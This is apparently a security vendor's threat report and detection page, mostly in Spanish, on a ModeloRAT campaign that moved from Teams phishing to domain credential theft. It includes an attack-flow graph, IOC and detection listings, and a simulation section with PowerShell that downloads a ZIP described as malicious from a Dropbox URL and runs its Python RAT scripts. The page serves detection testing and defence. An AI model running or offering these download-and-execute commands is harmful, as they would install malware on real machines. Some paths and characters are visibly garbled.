Desglosando una Campaña de ModeloRAT: Del Phishing en Teams a la Comprometación de Dominios
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Rapd7 analizó una intrusión que comenzó con un mensaje malicioso de Microsoft Teams que se hacía pasar por soporte de TI. El atacante utilizó una carga útil de Python alojada en Dropbox para desplegar ModeloRAT, escalar privilegios a través de CVE-2023-36036, y robar credenciales de dominio presentando una pantalla de bloqueo falsa a la víctima. La campaña mostró qué tan rápido un atacante podría pasar de un solo punto de acceso comprometido a un robo de credenciales más amplio en todo el dominio, al depender de técnicas de vivir del país. El incidente también subraya el creciente riesgo que representan las plataformas de colaboración como vector de acceso inicial.
Investigación
La investigación siguió toda la cadena de ataque desde la conversación inicial de Teams hasta un iniciador de PowerShell que descargó un archivo ZIP de Dropbox, descomprimió un entorno portátil de Python y lanzó collector.py and Pmanager.py. Luego, ModeloRAT estableció balizas HTTP a varios servidores de comando y control, llevó a cabo el reconocimiento del anfitrión, y usó rundll32 para activar un exploit del núcleo que otorgó acceso a nivel de SYSTEM. Se mantuvo la persistencia a través de una tarea programada, y los atacantes desplegaron componentes de puertas traseras adicionales durante la intrusión.
Mitigación
Las organizaciones deben aplicar controles estrictos sobre el acceso externo en Microsoft Teams, monitorear la actividad inusual de PowerShell y Python, bloquear URLs maliciosas conocidas de Dropbox, y garantizar que los sistemas estén parcheados contra CVE-2023-36036. Las políticas de control de aplicaciones que restringen el rundll32 uso no autorizado pueden ayudar a reducir el riesgo de explotación. Los equipos de seguridad también deben vigilar el comportamiento de bloqueo de pantalla falsa y otros signos de actividad de recolección de credenciales en los puntos finales.
Respuesta
Si se detecta esta actividad, aísle inmediatamente el punto final afectado, revoque las credenciales del usuario comprometido, y restablezca las contraseñas de dominio afectadas. Los investigadores deben recopilar capturas de memoria completas, incluidas pruebas relacionadas con LSASS donde sea apropiado, buscar artefactos de ModeloRAT, y eliminar cualquier tarea programada maliciosa o mecanismos de persistencia. También se deben revisar las configuraciones del inquilino de Teams y deshabilitar el chat externo si no es operativamente necesario.
"graph TB %% Class Definitions classDef action fill:#ffcccc classDef tool fill:#cce5ff classDef malware fill:#e6ffcc classDef process fill:#ffd9b3 classDef file fill:#f2e6ff %% Action Nodes action_phishing["<b>Acción</b> – <b>T1566.003 Phishing: Spearphishing vía Servicio</b><br/>Mensaje de Microsoft Teams suplantando a soporte de TI con enlace malicioso."] class action_phishing action action_impersonation["<b>Acción</b> – <b>T1656 Suplantación</b><br/>Cuenta falsa de soporte de TI creada para parecer legítima."] class action_impersonation action action_content_injection["<b>Acción</b> – <b>T1659 Inyección de Contenido</b><br/>El mensaje contiene un comando de PowerShell que inicia la cadena de infección."] class action_content_injection action action_user_execution["<b>Acción</b> – <b>T1204 Ejecución por Usuario</b><br/>La víctima hace clic en el enlace o copia y pega un preparador de PowerShell."] class action_user_execution action action_software_discovery["<b>Acción</b> – <b>T1518 Descubrimiento de Software</b><br/>collector.py enumera el software instalado, parches y configuración."] class action_software_discovery action action_security_discovery["<b>Acción</b> – <b>T1518.001 Descubrimiento de Software de Seguridad</b><br/>El script verifica procesos de AV como SecurityHealthHost.exe."] class action_security_discovery action action_system_info["<b>Acción</b> – <b>T1082 Descubrimiento de Información del Sistema</b><br/>systeminfo, whoami y otros comandos recopilan detalles del host."] class action_system_info action action_dll_loading["<b>Acción</b> – <b>T1176 Extensiones de Software</b><br/>rundll32.exe carga DLLs maliciosas (ssss.dll, com6848.dll)."] class action_dll_loading action action_priv_esc["<b>Acción</b> – <b>T1068 Explotación para Escalada de Privilegios</b><br/>Explota CVEu20112023u201136036 en cldflt.sys para obtener el token SYSTEM."] class action_priv_esc action action_defense_evasion["<b>Acción</b> – <b>T1211 Explotación para Evasión de Defensa</b><br/>Explotación del núcleo elude los controles de seguridad."] class action_defense_evasion action action_persistence_active_setup["<b>Acción</b> – <b>T1547.014 Configuración Activa de Persistencia</b><br/>Las claves del registro bajo SyncRootManager registran un proveedor de sincronización en la nube malicioso."] class action_persistence_active_setup action action_event_triggered["<b>Acción</b> – <b>T1546 Ejecución Activada por Evento</b><br/>El proveedor de sincronización actúa como un mecanismo de persistencia activado por eventos."] class action_event_triggered action action_scheduled_task["<b>Acción</b> – <b>T1053 Tarea Programada</b><br/>La tarea diaria TempLogA ejecuta internal.py con privilegios SYSTEM."] class action_scheduled_task action action_path_interception["<b>Acción</b> – <b>T1574.007 Interceptación de Ruta</b><br/>Directorio de Python portátil colocado al principio en PATH para asegurar la ejecución."] class action_path_interception action action_c2_http["<b>Acción</b> – <b>T1071.001 Protocolo de Capa de Aplicación: Protocolos Web</b><br/>ModeloRAT se comunica con servidores C2 a través del puerto HTTP 80."] class action_c2_http action action_nonstandard_port["<b>Acción</b> – <b>T1571 Puerto No Estándar</b><br/>Canales adicionales de reverseu2011shell usan puertos 50508 y 60503."] class action_nonstandard_port action action_winrm["<b>Acción</b> – <b>T1563 Secuestro de Sesión de Servicio Remoto</b><br/>El atacante abre una sesión WinRM en un segundo host para el despliegue de herramientas."] class action_winrm action action_rdp["<b>Acción</b> – <b>T1078.002 Cuentas Válidas: Cuentas de Dominio</b><br/>Credenciales cosechadas utilizadas para inicios de sesión de RDP."] class action_rdp action action_kerberoasting["<b>Acción</b> – <b>T1558.003 Kerberoasting</b><br/>Las solicitudes de ticket de servicio generan hashes de credenciales."] class action_kerberoasting action action_os_credential_dump["<b>Acción</b> – <b>T1003 Vaciado de Credenciales del SO</b><br/>DumpIt.exe captura la memoria incluyendo LSASS."] class action_os_credential_dump action action_unsecured_credentials["<b>Acción</b> – <b>T1552.001 Credenciales No Seguras</b><br/>DLL de pantalla de bloqueo falsa registra las contraseñas capturadas en el disco."] class action_unsecured_credentials action action_window_discovery["<b>Acción</b> – <b>T1010 Descubrimiento de Ventanas de Aplicaciones</b><br/>Una réplica de la pantalla de bloqueo imita la pantalla de bloqueo de Windows para capturar la entrada."] class action_window_discovery action action_bits_job["<b>Acción</b> – <b>T1197 Trabajos de BITS</b><br/>DumpIt descargado y ejecutado a través de BITS."] class action_bits_job action %% Tool / File / Malware Nodes tool_powershell["<b>Herramienta</b> – <b>Nombre</b>: PowerShell<br/><b>Descripción</b>: Ejecuta el comando inicial del preparador."] class tool_powershell tool tool_python["<b>Herramienta</b> – <b>Nombre</b>: Python Portátil (pythonw.exe)<br/><b>Descripción</b>: Ejecuta collector.py y Pmanager.py."] class tool_python tool tool_rundll32["<b>Herramienta</b> – <b>Nombre</b>: rundll32.exe<br/><b>Descripción</b>: Carga cargas útiles de DLL maliciosas."] class tool_rundll32 tool tool_dumpit["<b>Herramienta</b> – <b>Nombre</b>: DumpIt.exe<br/><b>Descripción</b>: Utilidad de adquisición de memoria."] class tool_dumpit tool malware_collector["<b>Malware</b> – <b>Nombre</b>: collector.py<br/><b>Descripción</b>: Script de Python inicial que realiza descubrimiento y lanza más módulos."] class malware_collector malware malware_pmanager["<b>Malware</b> – <b>Nombre</b>: Pmanager.py (ModeloRAT)<br/><b>Descripción</b>: Troyano de acceso remoto que se comunica con C2."] class malware_pmanager malware file_ssss_dll["<b>Archivo</b> – <b>Nombre</b>: ssss.dll<br/><b>Descripción</b>: DLL maliciosa cargada para escalación."] class file_ssss_dll file file_com6848_dll["<b>Archivo</b> – <b>Nombre</b>: com6848.dll<br/><b>Descripción</b>: DLL maliciosa cargada para captura de credenciales."] class file_com6848_dll file file_lockdll["<b>Archivo</b> – <b>Nombre</b>: lockscreen.dll<br/><b>Descripción</b>: Falso pantalla de bloqueo que registra contraseñas."] class file_lockdll file %% Connections u2013 Ataque Flujo action_phishing –>|utiliza| action_impersonation action_impersonation –>|entrega| action_content_injection action_content_injection –>|dispara| action_user_execution action_user_execution –>|ejecuta| tool_powershell tool_powershell –>|lanza| tool_python tool_python –>|ejecuta| malware_collector tool_python –>|ejecuta| malware_pmanager malware_collector –>|realiza| action_software_discovery malware_collector –>|realiza| action_security_discovery malware_collector –>|realiza| action_system_info malware_pmanager –>|carga| tool_rundll32 tool_rundll32 –>|carga| file_ssss_dll tool_rundll32 –>|carga| file_com6848_dll file_ssss_dll –>|habilita| action_priv_esc file_com6848_dll –>|habilita| action_priv_esc action_priv_esc –>|proporciona| action_defense_evasion action_defense_evasion –>|establece| action_persistence_active_setup action_persistence_active_setup –>|crea| action_event_triggered action_event_triggered –>|crea| action_scheduled_task action_scheduled_task –>|depende de| action_path_interception action_path_interception –>|asegura ejecución de| malware_pmanager malware_pmanager –>|comunica vía| action_c2_http malware_pmanager –>|utiliza| action_nonstandard_port malware_pmanager –>|abre| action_winrm action_winrm –>|facilita| action_rdp action_rdp –>|aprovecha| action_kerberoasting action_kerberoasting –>|proporciona credenciales para| action_os_credential_dump action_os_credential_dump –>|ejecutado por| tool_dumpit tool_dumpit –>|entregado vía| action_bits_job action_bits_job –>|soporta| action_os_credential_dump action_unsecured_credentials –>|implementado por| file_lockdll file_lockdll –>|captura vía| action_window_discovery action_window_discovery –>|escribe en| action_unsecured_credentials %% Styling class action_phishing,action_impersonation,action_content_injection,action_user_execution,action_software_discovery,action_security_discovery,action_system_info,action_dll_loading,action_priv_esc,action_defense_evasion,action_persistence_active_setup,action_event_triggered,action_scheduled_task,action_path_interception,action_c2_http,action_nonstandard_port,action_winrm,action_rdp,action_kerberoasting,action_os_credential_dump,action_unsecured_credentials,action_window_discovery,action_bits_job action class tool_powershell,tool_python,tool_rundll32,tool_dumpit tool class malware_collector,malware_pmanager malware class file_ssss_dll,file_com6848_dll,file_lockdll file "
Attack Flow
Detecciones
Posible Enumeración del Sistema (vía línea de comandos)
View
Posible Enumeración o Manipulación de Cuenta o Grupo (vía línea de comandos)
View
Schtasks Apunta a Directorio/Binario/Script Sospechoso (vía línea de comandos)
View
Posible Fuga de Credenciales NTLM a través de Ruta UNC Externa No Deseada (vía línea de comandos)
View
Un Archivo Fue Extraído a un Directorio Sospechoso Usando Powershell (vía PowerShell)
View
Posible Enumeración de Active Directory con AD Module DirectorySearcher (vía PowerShell)
View
IOCs (HashSha256) para detectar: Cuando Llama Soporte de TI: Desmontando una Campaña de ModeloRAT desde Equipos hasta Compromiso de Dominio
View
IOCs (SourceIP) para detectar: Cuando Llama Soporte de TI: Desmontando una Campaña de ModeloRAT desde Equipos hasta Compromiso de Dominio
View
IOCs (DestinationIP) para detectar: Cuando Llama Soporte de TI: Desmontando una Campaña de ModeloRAT desde Equipos hasta Compromiso de Dominio
View
Ejecución Sospechosa de Rundll32 para Escalada de Privilegios y Captura de Credenciales [Creación de Procesos de Windows]
View
Descarga y Ejecución de PowerShell de Scripts Maliciosos de Python [Powershell de Windows]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
-
Attack Narrative & Commands:
- Initial Drop: The attacker, having obtained a foothold on the victim workstation, launches PowerShell to retrieve a malicious ZIP file hosted on Dropbox. The URL is hard‑coded in the detection rule, so the attacker uses the exact same string to guarantee detection (for validation purposes).
- Extraction: Using the built‑in
Expand‑Archivecmdlet, the archive is unpacked directly into the user’s%APPDATA%folder, a location frequently overlooked by defenders. - Payload Execution: Two Python scripts—
collector.pyandPmanager.py—are executed viapythonw.exe(the “windowless” interpreter) to avoid visible console windows, enabling stealthy persistence and data exfiltration.
Exact commands (must match rule):
# 1. Download the ZIP archive iwr -Uri "https://www.dropbox.com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" -OutFile "$env:APPDATAWinp.zip" # 2. Extract the archive Expand-Archive -Path "$env:APPDATAWinp.zip" -DestinationPath "$env:APPDATA" # 3. Execute the first Python script Start-Process "$env:APPDATAWPy64-31401pythonpythonw.exe" -ArgumentList "$env:APPDATAWPy64-31401pythoncollector.py" # 4. Execute the second Python script Start-Process "$env:APPDATAWPy64-31401pythonpythonw.exe" -ArgumentList "$env:APPDATAWPy64-31401pythonPmanager.py" -
Regression Test Script:
# ------------------------------------------------- # Regression Test – Mimic ModeloRAT PowerShell workflow # ------------------------------------------------- $zipUrl = "https://www.dropbox.com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" $zipPath = "$env:APPDATAWinp.zip" $extractPath = $env:APPDATA $pythonExe = "$env:APPDATAWPy64-31401pythonpythonw.exe" $collector = "$env:APPDATAWPy64-31401pythoncollector.py" $pmanager = "$env:APPDATAWPy64-31401pythonPmanager.py" # Download Write-Host "[*] Downloading malicious ZIP..." Invoke-WebRequest -Uri $zipUrl -OutFile $zipPath # Extract Write-Host "[*] Extracting archive..." Expand-Archive -Path $zipPath -DestinationPath $extractPath -Force # Execute collector.py Write-Host "[*] Launching collector.py..." Start-Process -FilePath $pythonExe -ArgumentList $collector # Execute Pmanager.py Write-Host "[*] Launching Pmanager.py..." Start-Process -FilePath $pythonExe -ArgumentList $pmanager Write-Host "[+] Simulation complete. Verify SIEM for alert." -
Cleanup Commands:
# ------------------------------------------------- # Cleanup – Remove artifacts created by the test # ------------------------------------------------- $zipPath = "$env:APPDATAWinp.zip" $extractRoot = "$env:APPDATAWPy64-31401" $pythonExe = "$env:APPDATAWPy64-31401pythonpythonw.exe" # Stop any running pythonw processes from this test Get-Process -Name pythonw -ErrorAction SilentlyContinue | Where-Object {$_.Path -like "*WPy64-31401*"} | Stop-Process -Force # Remove extracted directory if (Test-Path $extractRoot) { Remove-Item -Recurse -Force $extractRoot } # Remove the ZIP file if (Test-Path $zipPath) { Remove-Item -Force $zipPath } Write-Host "[+] Cleanup complete."